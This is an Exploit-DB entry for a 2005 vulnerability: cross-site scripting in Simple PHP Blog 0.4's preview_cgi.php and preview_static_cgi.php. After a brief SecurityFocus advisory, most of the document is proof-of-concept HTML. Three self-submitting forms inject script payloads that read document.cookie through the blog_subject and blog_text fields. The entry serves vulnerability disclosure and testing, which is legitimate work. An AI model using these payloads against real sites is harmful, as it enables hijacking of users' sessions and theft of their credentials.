Simple PHP Blog 0.4 - 'preview_cgi.php' Multiple Cross-Site Scripting Vulnerabilities

EDB-ID:

26461




Platform:

CGI

Date:

2005-11-02


source: https://www.securityfocus.com/bid/15283/info

Simple PHP Blog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>